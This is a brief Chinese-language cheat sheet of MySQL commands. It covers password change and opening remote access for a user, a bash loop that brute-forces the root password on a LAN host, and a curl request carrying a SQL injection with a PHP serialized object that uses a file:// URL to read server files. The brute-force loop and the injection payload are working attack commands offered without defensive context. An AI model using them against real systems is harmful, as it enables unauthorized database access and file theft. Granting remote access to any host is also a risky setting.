1.mysql8以上版本修改密码
use mysql;
alter user '用户名'@'localhost' identified by "密码";
2.mysql开启远程连接
use mysql;
update user set host = '%' where user = '用户名';
flush privileges;
select host, user from user;
3.数据库口令爆破(撞库)
for ((i=1;i<60;i++ )); do mysql -h 192.168.114.2 -u root -p$i;sleep 1; done
4.数据库漏洞
curl "http://x.x.x.x/payload:?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:18;s:4:"blog";s:29:"file:///文件目录";}'#"